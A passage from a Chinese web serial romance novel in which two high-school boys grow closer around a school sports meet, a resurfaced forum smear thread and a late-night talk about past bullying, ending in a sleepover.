他今早出门时顺手摸到口罩,可能脑子抽了,一瞬间突发奇想,开始好奇江淮看到他的表情——那之后才勾上的。 江淮摩挲着口罩带子,看着他:“那我挑断了?” 楚明:“……” 他两指扣紧江淮手腕,平静注视着他眼睛。 像被他黑亮的瞳孔吸进去了似的,江淮也跟着回视。 楚明说着轻抬手:“我自己——” “还是戴着吧。”江淮向上按住他的手,余光里有几抹视线过于鲜明,他轻抿着唇,没来由地不想让别人看清。 至少在现在!- “学校预计下周周四周五举行高二年级的秋季运动会,”刘明宇在自习课快结束时交代说:“还和以前一样,自愿找体委报名,截止时间是周六周考前。” 体育项目表被投影到白板上,跳高跳远铅球接力跑短跑长跑…… 常规得就跟学校食堂固定出售米饭一样。 “长跑三千米,谁能跑?” “100米依旧是我的保留项目。” “能自行报名去当啦啦队吗?” “安静。”刘明宇总是有些霉运的,刚强调完纪律放学铃就打响,他习惯性尴尬地收回话口,走下讲台。 中午午饭期间基本就是命题式讨论。 楚明还是跟江淮他们去吃饭,下楼梯时稍一偏头摘了口罩。 混在人流里往下走的时候跟碰到引线似的掀起一阵爆炸似的轰鸣。 “我□□操操操操……” “他是谁啊……” 楚明在心底轻叹半声,正要重新戴上口罩手腕便被江淮扣住往旁边拽去。 “这群人眼睛都不太行,”江淮搂紧他的肩,隔绝掉大半的视线:“我第一眼就觉得你长得不错。” 楚明:“……” 说实话短寸摸着实在扎手,刺愣愣的。 走出楼道逐渐宽敞,江淮手心往他头顶带过时,被刺拉得半天没反应过来:“手感不行。” 楚明浅浅一笑:“防的就是你。” “啧。”江淮跟他进食堂。 赵逵逵跑得快,十分善良地给他俩占了座位。 看清楚明光不溜秋的正脸时,他和他队友俱是一愣:“你怎么长这样啊?” 楚明:“……” 他只是推了个头。 “气质变了,”赵逵逵伸手用宽大的手掌盖住楚明的上半张脸,“脸倒是没怎么变。” “也不看看是跟谁,跟江哥多像啊。”他队友说:“不是有个词叫什么嫁鸡随鸡嫁狗随狗?” 楚明:“……” 赵逵逵沉思了半秒:“那叫近朱者赤近墨者黑!” 江淮:“……” 叽叽喳喳不知道多久才结束对楚明头脸的全面扫描,赵逵逵回归干饭主业,叽叽咕咕说:“对了,运动会你们打算报啥?” “接力赛呗,”他队友说:“压轴项目全场欢呼贼有感觉。” “我依旧铅球,”赵逵逵问:“江哥你呢?” “看剩什么吧,”江淮夹了块牛肉:“都差不多。” “……好大的口气。”赵逵逵竖了个大拇指:“不过每年必然剩的是三千米,我记得我们班是不是都没人参加过啊。” 楚明夹起的青菜唰地掉回餐盘里,他眼睫极轻地颤了下,不动声色地挑起来继续吃。 “我记得好像有啊,”赵逵逵他队友说:“陈炜不可能让报名表空着的,不然他要被班主任说。不过上两次三千是谁跑的我也没印象,楚明你记得吗?” 楚明嚼着青菜,咽下后轻摇头:“……没。” 江淮始终没说话,目光垂落在楚明身上,总感觉他有哪儿不对。 “反正我跑不下来,”赵逵逵摇头:“谁跑谁英雄。” “我也是,一千都顶天更何况三千。”他队友捧着话说:“谁跑谁勇士。” “诶楚明你要报什么?”赵逵逵问了句。 楚明顿了一下,垂眼夹菜:“……再看吧。”- 饭后江淮没急着回去。 他绕过食堂桌椅走到边上早留意过的魁梧人士那一桌,站着曲指叩了下桌面。 喇叭哥光速吞完整口饭:“江……江淮?” “嗯,”江淮在他旁边坐下:“问你个事。” 喇叭哥放下筷子,欣喜道:“问!” “小声点,”江淮往旁边偏了下耳朵,缓解掉脑浆被他高音量震得乱晃的不适,才说:“之前你们班运动会三千米谁跑的?” 喇叭哥文静了一会儿,难得斯文地说:“我告诉你你别生气啊。” 江淮拧了下眉:“我生什么气?” 喇叭哥小声说:“你俩关系不是很好吗?” “谁?”江淮顿感不妙。 “楚明啊。”喇叭哥看着他微沉的脸色,收紧筷子小心翼翼地说:“两次都是他跑,陈炜帮他报的名。因为每次比赛都是我负责喊人,嗓门够,当时也是比赛前检录的时候楚明才知道自己要跑三千……” 江淮眉心蹙得很深—— 作者有话说:好的,最后一件遗留问题。 解决完就[粉心][红心][橙心][黄心] 另外,顺便预告一下,明天是个超级大长章。 第52章 第 52 章 “我叫楚明。”他说。…… “21班的短寸, 是谁啊?” “应该是叫楚明,课间我去偷偷瞄了一眼。我操,一年的时间我在干什么吃的!怎么会没注意到他的脸呢?!” “姐们, 上网, 有瓜。” 江淮从食堂走出来后心情极差。 拧着眉面色不大好,在嗡嗡嗡的讨论声里抬眼,给前面说着说着突然倒着走的女生吓得往外蹦出两米。 “不是你的问题,对不起!”女生赶紧站直, 道完歉转身踢出正步, 飞速依偎进旁边女生怀里私语:“我操,长得有点儿东西。” 江淮:“……” 他收敛了些神情,没直接回教学楼而是绕到操场看台上。 “我也不清楚他跑得怎么样……” “报名次是只宣布前三, 楚明没跑进过前三自然就没什么人知道……” 喇叭哥蚊蝇小的声音在脑海里反复回荡。 入秋后日头没那么晒,阳光也不那么刺眼。 江淮看着橡胶跑道,要折返回去之前他蓦地一顿。 楚明。 ……和一个看着有些熟悉的女生在荫凉里并排坐着, 不知道说到什么话题, 他嘴唇勾着,在笑。 江淮坐直,垂眼目不转睛地看着两人。 本来想等他们聊完他才下去, 但坐了三五分钟还没见有任何结束的征兆, 他起身跳下看台走向那处林荫。 “我对这些没什么感觉……”楚明话说着感觉头顶多罩下一道阴影, 稍稍仰起头就看见江淮面色沉冷地站在他面前。 挺强势的, 鞋尖紧贴他鞋尖, 像无声的对峙。 他咽下口中没说完的半截话,转口:“你怎么……” 江淮没答,深黑的眼瞳里倒映着楚明的脸:“打扰你了?” “抱歉,”楚明看着女生轻轻说了句。 说着他起身拉住江淮的手腕往旁边走, 江淮被他拽得懵了两秒才反应过来,调整步频跟上。 走出段距离,楚明问:“找我有事吗?” “没事不能找你?”江淮看着他,有些底气不足。 他确实没什么事,但耐不住心底深处的某种欲望在疯狂攀升沸腾。他不太控制得住自己,完全没考虑过打断别人的聊天是个多么不合理的行为。 他只是单纯地想要把楚明卷到自己的范围里…… 楚明捏着他腕骨,看了他一会儿有些无奈:“心情不好?” 江淮冷冷地应了一声:“嗯。” 楚明轻声问:“因为什么?” “你。”江淮回答得斩钉截铁。 楚明:“……” 余光里秦苗低头在玩手机,没有往这边看的意思。 他思考半秒后两根手指忽然发力,猛地把江淮往自己这边带了一下。肩头撞靠在锁骨的瞬间,他嘴唇擦过江淮柔软的发丝,很轻地问:“你要干嘛?” “我想揍你,”江淮吃痛地倒吸了一口气,就着这个姿势压他耳边。 楚明拧了下眉:“为什么?” “不知道。”江淮目光伴着温热的呼吸洒落在他耳垂下的皮肤,喉间轻滚。 喇叭哥跟他说的那些事情,放在才开学,他断然不会觉得怎样:楚明再怎么被欺负好像都在接受范围之内。 但现在不一样,他看到过楚明沉静皮囊下坚韧的内核,潜意识觉得楚明不会被这些傻逼事情折倒。 他也知道该责备的不是楚明,可是,明明有反抗的能力为什么不反抗? “……”楚明沉默了。 这对话跟开了加密似的。 左手捏着手机环到江淮后背,楚明调出键盘正打算给秦苗发个消息让她先回去,他跟江淮问清楚,但下一秒利牙割破皮肉般的刺痛骤然从侧颈传来! 他受不住地弓了下腰:“嗯……” 江淮一口咬在他脖颈,收着劲儿地叼磨半晌才退出些距离,挑了下眉:“揍完了,你找她去吧。” “嗯?”楚明歪了下头,不消看都知道侧颈那片绝对红了。他使劲儿锢着江淮没让他走,稍微平息呼吸之后声音很低地说:“给我个解释。” “什么解释?”江淮心情颇好地反问。 楚明:“……” 他手指微微收紧,“你不说我就咬回去。” 江淮默了两秒,直接问道:“这次还跑三千吗?” 寂静空旷的午后操场声音被微微放大,很重地撞在耳膜。 楚明落在他后腰的指尖缩了一下。 原来是这件事…… 江淮耐心地等着他的回答。 “跑,”楚明捏着他手腕的手指难以抑制地重重收紧,声音透着股坚定:“不过这次我自己报名。” 听到这话,江淮好似明白过来楚明的意思,淡淡地勾了下唇:“那我去接你。” 楚明轻顿,收回手,声音极轻:“好。”- 秦苗看着两人莫名其妙忽然搂抱在一起,啧了两声。 她的角度只能看清楚明冷感的侧脸和锢在那男生手腕上细长的手指。 她看了一会儿意犹未尽地低头把手机打开。 里面是一则陈年旧贴。 标题:听说姓楚的最近特那啥,有人知道发生什么了吗?[1年前] 【1l】考试作弊通报批评,我记得还欺负女生,搞一些嗯哼的事(叠个甲,别搞我) 【2l】别的不知道,开学第一周我去看新生玩篮球,他明显犯规还撞人,球技不知道怎么样但人品烂得要死。 【3l】早恋来着,好像为那个女生还揍了三个人,刺激啊。 【4l】是个刺头,上两天课连怼八科老师,班上同学都无语了。 【5l】去隔壁帖,什么都有,一应俱全。 …… 【79l】啊?你们说的谁啊?居然有这号人? 【98l】没听说过,挺温顺一人啊,我上次还让他帮我带零食来着呢。 …… 秦苗扒拉了几下内容就见底了。 最近的回复也是在七八个月之前,可以说凉得彻底。 她把手机收起来,就看见楚明拉着江淮往这边走来。她视线擦过楚明脖颈一侧隐隐露出的绯色,震惊地笑了笑:“你们……完事了?” “嗯。”楚明说。 “我刚刚本来就想走的,但……”秦苗目光偏了偏落在江淮身上,意味深长地打量两秒后晃了下手机:“我叫秦苗,帅哥加个联系方式?” 江淮抿了下唇。 他余光带过楚明修长的脖颈,那处还残存着泛红的齿痕。心头空缺的某处被填满,他满意地微微抬眼:“嗯。” “嗯……”秦苗看他只应了一声却没任何实质性的动作,不免看向楚明:“还是个不带手机的好学生?” 好学生算不上,江淮更多是觉得麻烦吧,楚明顿了下:“我晚点推给你。” “好的,”秦苗收好手机,微微一笑便往操场外走去- 江淮回到家洗漱完往沙发上坐去,捞过手机就看到一条好友申请。 一只苗。 验证栏里这么写着:我是秦苗,有事找你放心通过。 江淮给她通过了。 【一只苗】帅哥你好。 接着秦苗给他发了一个链接,便不再有下文。 江淮用两三秒的时间怀疑了下这是不是什么诈骗链接,但看清楚这种分享贴的链接外观之后,他隐隐有些预感地戳了进去。 “听说姓楚的最近…………” 江淮把贴子从头到尾默默读完,皱着眉退出界面。 【狗】发给我做什么? 【一只苗】你这是什么反应? 【狗】? 【狗】怎么,还得哭一个? 远在几公里外扒拉着手机的秦苗惊地坐起,才被数学压轴题搞得心如死灰的她瞬间精神,她余光偷偷瞄了眼旁边正垂眸认真看题的楚明,见他沉浸在题里暂时没有往这边看的迹象。 她用意念狠狠跺了下脚。 操?江淮居然是这种人! 她不信邪地发了句: 【一只苗】你知道链接里说的是谁吗? 【狗】知道。 那你他妈是这个反应?!秦苗有点气急攻心,什么垃圾狗屎塑料兄弟情! 【一只苗】那你知道当初学校传他早恋的事吗? 对面久久都没有回消息。 【一只苗】当初他为了护女朋友跟三个男的动手,这事你也知道吗? 对面跟死了似的毫无动静。 【一只苗】如果我说这个女生就是我呢。 【一只苗】如果我说现在楚明在我家里呢。 四条消息连着轰炸过去,秦苗感觉全身血液都顺着流动起来,心情舒畅地把手机扣到桌面,往后伸了个懒腰,说:“小楚哥,你想出这题怎么做了没?” 楚明抬眼时转了圈笔,两指夹着草稿纸放到她面前,声音带着股睡眠不足的困懒:“嗯。” “你困了?”秦苗接过,往他脸上看了眼。 “有点,”楚明食指微曲把黑笔按到桌面,微微往后仰了些头,很轻地说:“但讲完这套卷子没有问题。” 秦苗笑了笑:“那我尽快吃透这道题。” “嗯。”楚明的回应带着些鼻音。 放在桌面的手机迟迟没有消息提示音,秦苗时不时往手机壳上瞟一眼。 十分钟后她把手机拎起来看,江淮确实没有回复她。 “怎么了?”楚明把做好的物理卷收好,余光注意到她的动作,“看不懂可以直接问我。” “没,”秦苗飞快把手机扣上,清了清嗓子勾画过程里的核心知识点。 忍了两三分钟没忍住,她边写边小声地问了句:“小楚哥,你和江淮关系应该比较近吧?” 楚明掀了下眼皮:“怎么了?” “没怎么,就问问。”秦苗心思有点不在题上,“是很好的朋友吗?” 楚明顿了两秒,指尖碾着:“嗯。” “这样啊,”联想到江淮看完那条贴子无关痛痒的回复,秦苗听到这话心里有些不是,下意识说道:“你千万别生气。” “嗯?”楚明挑了挑单边眉毛:“没看懂过程?哪步?” 秦苗:“……”事业心还是太重了。 她咳了声嗽:“看懂了看懂了。哎我就是想说你交男、交朋友还是不能只看脸……” “啊?”楚明诧异地看向她。 “一点感触不用管我,”秦苗摆摆手:“小楚哥,给我讲讲这步换元呗。” 楚明轻顿:“……嗯。” 连着三道压轴题兜头而至,秦苗跟闯了什么机关似的被困在数学海洋里脱不了身。 浓郁的情绪都被净化得毫无痕迹,她面无表情心如死灰地反复求导、算根。 楚明淡淡地挪开视线。 起身往旁边书房里看了看秦禾的试题进度,讲了两个题给了些思路,他倚在门边偷偷打了个哈欠。 不知道是不是秦苗聊到了江淮,他脑子里莫名就浮现出白天江淮咬他时低垂着沉静的眉眼,鬼使神差地抬手摸了下颈侧。 “嘶……”还是疼的。 楚明无奈地笑笑,回到房间听秦苗重新讲了遍解题思路,确认没问题留了两道同类型题,他挎上书包便往楼下走。 今晚风挺柔的,还带着些入秋后薄薄的凉意。 从楼栋往小区外走的短短半分钟里,楚明总感觉心跳有些控制不住地急促,他停下脚步,低眸手心轻抚在心口。 心脏有问题了? 荒谬的猜测冒头,他闭上眼静静地感受了会儿:得了心脏病的心脏应该跳不出这么有活力的动静。 被自己蠢到似的,他笑了笑,垂下手抬脚往前走,刚走两步他忽地顿住,心跳一瞬骤停,接着就像吃错药了似的狂跳,一下接着一下凶猛地撞击着胸膛,浑似下一秒便要冲破皮肉。 视野从模糊转入清晰。 对面青黑的树影下,江淮微抬下巴注视着他。 像是感受到他的视线,江淮抬手,食指朝他勾了一下。 楚明几乎是没有犹豫三步做两步上前,鞋尖距他不到一指长的时候停住:“你怎么在这?” “别管,”江淮没垂下手,指尖缩了一下手臂瞬间打直,往前勾住他脖颈往自己怀里狠狠地按来。 楚明一头栽在他胸口,鼻尖重重撞在结实而坚硬的胸膛,他慌忙之间抓了一把江淮有劲的侧腰。 他堪堪稳住,“你怎么了?” 暖热的呼吸隔着单薄的衣料簌簌扑落进胸膛,江淮怔愣了一秒,手指不自觉地收紧:“我问你点事。” 楚明:“……嗯。”- 车轮碾过沥青路面,平稳地驶远。 楚明轻捏着车把手,感受到紧紧锢在腰间的两条手臂,轻叹了一声,说:“你松一点,再勒我该断气了。” “哦。”江淮应着,但力道其实没松多少。 自从看完那条贴子,他心情始终不上不下,乱得跟一锅杂烩似的什么都有。 不看贴子主人公他还以为被骂的是自己,那些真假参半的事迹他太熟悉了——从开学到现在短短一个多月时间,他自己都没想到会经历这么多傻逼的事情。 但他没料到楚明也经历过,还跟他妈复制粘贴似的。看那些时间线,也就半个多月而已。 挺牛逼的。 想着他下意识地收紧手臂,下巴轻抵在楚明后背:“你之前什么样?” “嗯?”楚明单手扶车,右手贴紧他手背,慢慢撬动出江淮手心和自己腹部的缝隙:“你想问什么?” “秦苗发了我一个贴子,关于你的。”江淮反手抓住他的手,指尖挠了挠他手腕内侧。 听到这话楚明蓦地顿住,眼瞳都跟着扩了小半圈,“什么?” “才几岁耳朵死成这样?”江淮拧了下眉。 楚明:“……” “我倒没想到以前的你也挺能造,”江淮依旧刮挠着,感受到脉搏清晰地跳在指尖:“怎么被|干|倒的?” 楚明抿着唇没有说话。 江淮话里的事情已经有些久远了,远到他总是不愿意去回忆。 但现在江淮就压在他身后,指腹压着他的腕脉,强硬的姿势里带着一种他必须得想、必须得说的意思。 “也不算是。换了种方式吧。”楚明没继续往前骑,就近停在路边。 月是残的,像把弯刀,抬眼看过的人都像被割了一把似的,心尖儿泛疼。 江淮挑了下眉:“跟我讲讲。” 楚明眼睫微垂,被风吹得乱颤:“……好。” 江淮按在他腹部的手指轻轻点着。 楚明很轻地说着,微哑的声音和着夜风飘进江淮耳中:“我不知道怎么讲,有些事情的发生连我自己都觉得始料不及……” …… 八中向来开设初升高衔接班。 中考成绩还没出楚明就接到电话,通知他上课,为期两周。 第一天到班,他前脚进教室后脚就被叫住:“小楚,你来我办公室一趟。” 那个时候大马猴看着就并不年轻,可能是毛发稀疏的缘故。 “你家长没进家长群吗?”马海拉着他坐下。 “没,”楚明没坐,只问:“有事?” 他反倒是觉得重要的事情学生会比家长先知道,他能处理。 “没什么没什么,”马海倒吸了一口气:“你让家长早点进班群,通知啊收费啊我一般通知在群里,别耽误了。” “不是还没分班?”楚明轻顿,他现在被随机分到文科二班。 “嗯……”马海笑了笑:“临时班也要有家长群嘛,上两周多呢总有重要事情嘛。” ……江淮挑了下眉:“是要收钱?” “嗯,”楚明抬眼:“说是学习资料和科任老师课外辅导,两千。但我不需要,没交。” 江淮唇角很轻地勾着:“换我也不会交。” “嗯,”楚明说:“不过当时应该只有我没交。” 他的高中生活还没正式开始,只是从那时候起,就已经偏航了。 “专门来做自我介绍的晚自习他没让我上台,反倒是第二天数学课的时候让我上讲台……”楚明说着。 …… “我们班上有个特别的存在,”马海笑着说:“来,小楚,上台做个自我介绍。” 楚明左手转着笔帽右手捏着笔杆,闻声缓缓起身,右手指尖轻带黑笔飞旋几周后精准地插进笔帽。 咔地一声,严丝合缝。 “我叫楚明。”他说。 “没了?”马海收了笑脸,看着他。 “嗯,”楚明身形修长站姿笔挺:“其他不重要。” “看看看看,”马海表情严肃起来:“我为什么让他单独来,就是因为他没有学生的态度……” ……江淮啧了一声:“这么帅呢。” 楚明微顿,眼尾漾开笑意。 “之后那段时间课上老师总爱特别关照我,课下和我打交道的是魏天和她的朋友赵恩。”楚明慢慢说着:“说你作弊的时候我差不多就知道事情怎么回事,不过你的处理方法更有效,挺厉害的。” 江淮很轻地笑了一下。 “开学文科二班成了21班,班主任和之前的二十多个人都没变。”楚明轻声说着:“来的新人呢总不会看到所有人……陈炜那时候在追魏天,第一节体育课我就跟他撞上了。” “他摔了?”江淮猜。 “嗯,”楚明嘴角牵出一抹嘲意:“演技还得看新人,那时候高明多了,我都没反应过来。” 空气变得静悄悄,呼吸散在无声里。 “我想想,”楚明默了一会儿:“你不是挺好奇带饭的事吗?我在学校找了个安静的地方看书写作业,那天走得晚,不曾想撞到他们和秦苗,就是今天你看到的女生,我帮了她一把……” 楚明对每件事都只是轻描淡写一笔带过。 江淮安静地听着,脑海里相应地浮现出才看过的一些评论。 ——“没见过这么狂的人,从早自习罚站到晚自习,最高记录连怼五科老师。” ——“我记得让他叫家长十多次,家长一次没来,他说自己管自己,犯不着别人。” …… 叙述里事情一件件过去,时间线匆匆往前,好似一切都跟着清晰起来。 他忽地想起他翻看自己黑贴的那天晚上,楚明突兀的那句“你睡床”,以及他响指刚打完楚明便已扭过头的反应速度——原来是这样: 经历过的人在看着正经历着的人。 想到这儿江淮很沉地呼气,他锢紧楚明的腰:“我知道了。” 楚明从情绪里脱离:“嗯?” 江淮默了半晌。 其实楚明避开了他最核心的问题,听着那么刺头的一个人,是怎么变成他初次见面时看到的那样软弱无骨。 他想问,最终干倒他的是什么,或者说最终让他敛了锋芒的是什么? 但如果真的要问,就他们现在的关系而言…… 他轻顿,最终不管不顾地问:“最后呢?” 楚明知道他要问什么,默着。 不知过了多久他很轻地叹气:“那个时候,我家里人和我住在一起。” 江淮愣住。 那现在呢? 他指尖猛地缩起,好半天才出出来声音:“你单独搬出来住了?” 楚明轻声:“没。” 那就是家人搬走了。江淮又静了很久,脑子一抽:“也挺好的。” 楚明扭头看向他:“……啊?” “能睡床了,”江淮也看着他:“就你家的布局,家里要是有人,你之前还有床睡?” 楚明看了他一会儿,没忍住噗嗤笑出声,微微仰头枕靠在他肩颈处:“不是,你怎么回事啊……” “我记得第一次睡你家沙发,起来的时候腰酸背痛腿麻屁股疼的。”江淮用脸颊贴着他耳朵,嘶了一声才继续说:“但你跟我说能睡。之前一直睡啊?” “嗯。”楚明笑笑。 很多事情说出来心头就松了。 感觉晚风直接贯穿皮肉进到骨髓似的,涤清了心底久久积压着的躁郁。 楚明笑得很认真,笑得腰腹发酸,他才极轻地偏了下头,阖眼,掩盖掉眼尾清澈的一滴泪。 “你这头发真扎人啊,”江淮脸颊蹭了蹭他耳边的发茬:“都给我扎清醒了。” 楚明笑笑:“那你还蹭?” 江淮脱口而出:“喜欢。” 这话出口的时候,两人俱是一愣。 楚明咽了下唾沫,手肘轻拱了下他的腰,直起身来,“咳……你挺牛逼的。” “我知道,”江淮松了口气。 夜越来越往深处走,日历可能已经跳到下一天,也可能没有。 马路上间隔良久才驶过一辆车,明亮的车灯笔直打向前,车轮擦过路面带出一阵风驰电掣。 江淮一只手还按在楚明腰间,不知道是被车带起的风扇了一巴掌还是此情此景有什么唤醒他的记忆,他突然开口:“你还英雄救美过?” 楚明:“……” 他攥着车把手微微用力,轻声:“碰巧而已。” “碰巧?”江淮彻底想起来秦苗给他发的那些消息,眯了下眼:“那你在她家做什么?” “我……”楚明头往后扭了些,眼角里江淮眼瞳黑得发沉,里面有什么情绪在鲜明地溢出,他轻呼一口气后说:“我是在做家教。” “家教?”江淮眉心轻压了一下。 “嗯……”楚明说着有些想笑:“因缘巧合而已。” “什么因缘巧合,”江淮松开他的手腕,指尖轻夹住他下颌往自己这边掰来:“我听听。” 楚明没有应话。 微仰着头目光落在江淮眉眼间,他屏住呼吸咽了下唾沫。 两人的距离很近,鼻尖之间隔了不到半拳,呼吸暧昧不清地纠缠着,空气被带得发热。 楚明微微垂眼,扫过他微张的嘴唇,偏过眼眸:“她和秦禾都学理,可能是想感谢吧,就让我试着做,钱的话——” 他说着说着忽然没了声音。 江淮按在他下巴的拇指突然上移,很轻地压在他下唇,稍显粗粝的质感顺着唇瓣纹路丝丝传进神经,他甚至感觉有些头皮发麻。 江淮目光落在他唇间,低声问:“你不躲吗?” 楚明呼吸停了一瞬。 一直压制着的某种情绪好像再也拦不住,一种心照不宣的情愫于呼吸之间传索。 他喉结滚了一下,声音哑然:“我没怕过你。” 江淮沉沉地注视着他,好半会儿才垂手,别开眼若无其事地说:“掉头。” 楚明怔愣着听他的指令,正回上半身,把住车把给自行车掉了个头。 漫无目的地在沥青路上行驶。 想起自己刚才干了什么,江淮狠地咬了下唇: 江淮,你他妈在搞什么鸡毛! 指腹还残存着温热,细腻的湿滑被风吹燥,连喉管都跟着发紧发涩。 骑出两三百米楚明才回过神来,舌尖卷过唇上的微咸,清了清嗓子:“去哪儿?” “吃点东西吧,”江淮没看他的背影,偏头看着路边青黑色的树影,“饿了。” 楚明稀里糊涂地应着:“哦。” 今晚的风吹得乱七八糟的。 人也是。 三段路一带楚明天天在走,对这里的街道布局就跟自己家里似的了如指掌,在这种情况下,他都能傻逼地拐错路口,傻逼到就跟尿急了窜进厨房一样。 历经九九八十一难自行车停在沙县小吃门口。 “绕半天我以为你要带我到哪呢,”江淮扭头看了一眼,长腿跨下车座。 “走错路了。”楚明打下脚架。 江淮看着他,笑了:“傻逼。” 让人意外的是,老板居然还记得他俩。 上门第一句就是:“呀,又来了!” “嗯,”江淮坐下:“您还记得我吃什么吗?” 老板嘻嘻一笑,倒了两杯柠檬水:“记得记得,等着马上给你们上。” “谢谢啊。” 江淮拎起水杯,抬手碰了下楚明的,响出清脆的一声碰撞:“你坐过来。” “嗯?嗯。”楚明坐在他对面,闻声轻抬了下眼,起身坐到他旁边。 大碗海鲜馄饨新鲜出炉上桌,热气扑了人一脸。 江淮吃得有些急:“靠,烫死了。” “……”楚明把水递到他嘴边:“我没跟你抢。” 江淮就着他的手喝了两口水,舌尖在牙齿上轻磨了下,“越喝越难受。” 楚明顿了一下。 老板在里间准备收拾打烊,整得锅碗瓢盆叮铃咚隆地响。 “我看看,”楚明轻放下水杯。 江淮蹙着眉:“嗯?” 楚明看着他:“张嘴,我看看。” “哦……”江淮手指收紧了一瞬,朝他倾身张开了嘴,被烫到的舌尖探出一截儿。 楚明呼吸渐沉,看了一会儿别开目光:“看不出来。” “……”江淮无语地闭嘴:“那你看个屁。” 楚明握着汤匙舀起一块馄饨,“我以为能看出什么。” 江淮啧了一声:“什么屁话。” 楚明:“……”- “楚明,”走出店门江淮斜坐在后座,脚尖点地半仰着头。 楚明垂眸看着他:“你说。” “今晚住我家吧。”江淮说。 楚明愣了一下:“怎么了?” “你只回答要不要,别问那么多。”江淮说得有些霸道。 “……”楚明撑住车把手,想了半秒:“好。” 往回走的路上,江淮脑子里还有些乱。 他紧紧盯着楚明后脑勺。 为什么想带楚明回家? ……可能是那天他看那些不好的东西的时候,楚明在他身边。 而今天他一点掩饰都不带地揭了楚明的旧疤,他希望这个时候楚明身边也有人陪。 更确切地说,他希望这个时候的楚明,是他在陪—— 作者有话说:明天见[撒花] 第53章 第 53 章 喜欢一个人,是什么感觉…… “跟我睡床, ”江淮从衣柜里随手扒拉出一套自己的衣服塞楚明手里:“你先洗澡。” 楚明抱住衣服:“我先吗?” “不然?”江淮往旁边走:“我练一会儿。” 楚明叮嘱了句:“注意分寸。” 寸头不需要打理,毛巾随手一擦就干了。 楚明去洗衣机那边放衣服时余光往阳台处正做运动的江淮看了眼。 腿部训练,汗湿的额发随着身体动作起伏, 强度挺大的, 江淮紧抿着唇瓣,脸颊浮出薄红。 把衣服扔进筒里,楚明走到他旁边,双手抱胸静静地欣赏了半会儿。 江淮以前的照片看着还蛮体育生的, 皮肤被晒得泛出小麦色。 不过修养近一年时间, 听他妈说的那些话,估摸着江淮能到户外的机会都少得可怜——皮肤倒是养得比照片上白皙多了,也可能肤质本来就白, 回得快。 “看我干嘛?”江淮勾过毛巾往脖子上一挂,抓住一角胡乱抹了把脸。 楚明放下手:“就……看看。” “哦。我去洗澡,”江淮长腿迈了两步, 要绕过他时脚尖急停, 他抬腿膝盖狠地将楚明往身后墙上顶去,右手强势地撑在他耳边。 楚明闷哼一声,抬眼鼻尖就撞上他的。 后背紧贴到冰冷的墙壁, 坚硬和凉意一股脑地冲进感知里, 他手心朝外迅疾地压隔着江淮的膝盖, 像是一道无济于事的防线。 他没用力推人:“你要干嘛?” “检验一下, ”江淮嘴角轻勾, 手往下滑时指尖顺着他下颌线一路划到他下巴窝里,稍顿后往上一挑抬:“看你是不是真的没怕过我。” 楚明:“……” 他无奈地扯了下唇,直起身子时一记顶膝便朝他腹部招呼去:“去洗澡。” “哟,”江淮挑了下眉:“脾气见长。” 楚明侧身绕开他的手臂, 往书房走去。 等人走开,江淮才低头轻按了下腰腹:嘶,还是有点疼的。 湿着头发从浴室出来,江淮手指胡乱地往上抓了把头发。 哼着不知名小曲儿走进书房,他脚步一顿,看着楚明被黑衣笼得有些单薄的肩线,心头微颤,有种想上前拥住他的冲动。 “你不吹头吗?”楚明感受到一滴接着一滴的冰凉隔着衣料渗进后背,不悦地扭头看着他。 “不用,”江淮回过神来,定定地垂眸看他:“怎么,怕我感冒?” 楚明白了他一眼:“打湿我衣服了。” 江淮:“……” 他目光移到楚明肩胛骨处,白色T恤被水滴洇湿开一小片,透出里面光滑细腻的肌肤以及轮廓模糊的肩背线条。 衣料紧贴着肉/体,勾勒出肩线和其下漂亮的肩胛骨形状。 他忽然想,楚明脱了衣服肯定很好看。 “累了?”楚明见他半天不说话,以为他运动强度太大还没缓过来,起身:“那我帮你吹。” 江淮迷迷糊糊地一屁股坐到椅子上:“好啊。” 楚明:“……”倒是理所当然。 把小型吹风机握在手里,楚明站到江淮身后,指尖把发丝往后撩拨了两下。 “家教,”江淮看着桌面这套题,做题痕迹完整保留在卷面,过程精简但思路流畅:“你还有这本事?” “嗯,”楚明调的风小,手指轻柔地穿插在黑发之间,没什么遮掩地说:“不然不会读八中。” “八中私立学校,”江淮转了圈笔,微微仰了下头,后脑勺结实地压在楚明腰腹间,他轻眯了下眼:“你考的免学费?” “嗯。”楚明托住他脑袋想挪开又有些不舍,拇指向下,以按摩的手法重重刮划着他后脖颈。 “难怪——嗯哼……”江淮被按得蛄蛹了两下,“操,好痒。” 楚明:“……” 他笑了笑,抓钳住江淮脖颈的时候指腹滑到他耳周皮肤,力度还没加上去,江淮就猛地抖了一下,反过手用力抓住他手腕。 “别,”江淮制着他:“我真受不了这种。” “我以为你无坚不摧呢,”楚明笑笑,手指归位只轻轻带了下后颈便抓撩起头发。 不痒了,江淮收手:“不是一回事。” “嗯。”楚明说:“怕痒。” 江淮顽强地说:“也不是怕。” 楚明嗯了一声:……挺敏感。 今晚在外面浪得有点久,沾到床楚明就沉得毫无知觉。 江淮看了他一眼,睡姿笔直,呼吸平稳地落在耳畔。 “啧,牛逼。” 他把床头柜立着的丑八怪玩偶抱到怀里,枕头竖靠在后背,坐直打开手机,点开和秦苗的对话框。 【狗】现在知道了。 【狗】那你知道他现在在我家里吗? 发完这两条消息江淮嘴角扬了下,微微偏头借着手机屏幕的细光打量了一眼楚明,从眉弓到下颌,他挑了下眉。 真好看啊。 【一只苗】???我操。 【一只苗】闷声干大事,你是我江哥。 江淮情绪发泄之后没多跟她聊,只简单回了个表情就退出聊天界面。 把怀里的玩偶狗脑袋掐扁。想睡,但脑子有点发浑。 从下午听到楚明被迫跑三千到刚刚跟只见过两面的女生发那句置气似的消息,他明显感觉到自己行为的背后,有一种强烈而鲜明的情绪。 他想否认,但在自己面前,内心是透明的。 这种情绪很简单,他……不确定。 不,他确定,只是不知道够不够充分。 空调温度不高,江淮盖着条薄毯子。 他沉沉呼出一口气,摸出手机给经验丰富的严越发了条消息。 【狗】问你。 严越脑神经连的数据网似的,消息才发出去没一毫秒,回复就跳进来了。 【阿越】哟,稀客~ 【狗】喜欢一个人,是什么感觉? 严越一秒没思考就直接甩了个视频通话进来。 “靠,”江淮惊得一秒挂断。 【阿越】挂了是什么意思呢? 【阿越】你还害羞啊。 【狗】开不了麦。 【阿越】懂,身边有人是吧。 【阿越】那我开说了啊。 【狗】嗯。 【阿越】喜欢一个人,就是很喜欢的感觉。 【狗】。 【狗】你最好能把话圆回来。 【阿越】哈哈(狗头) 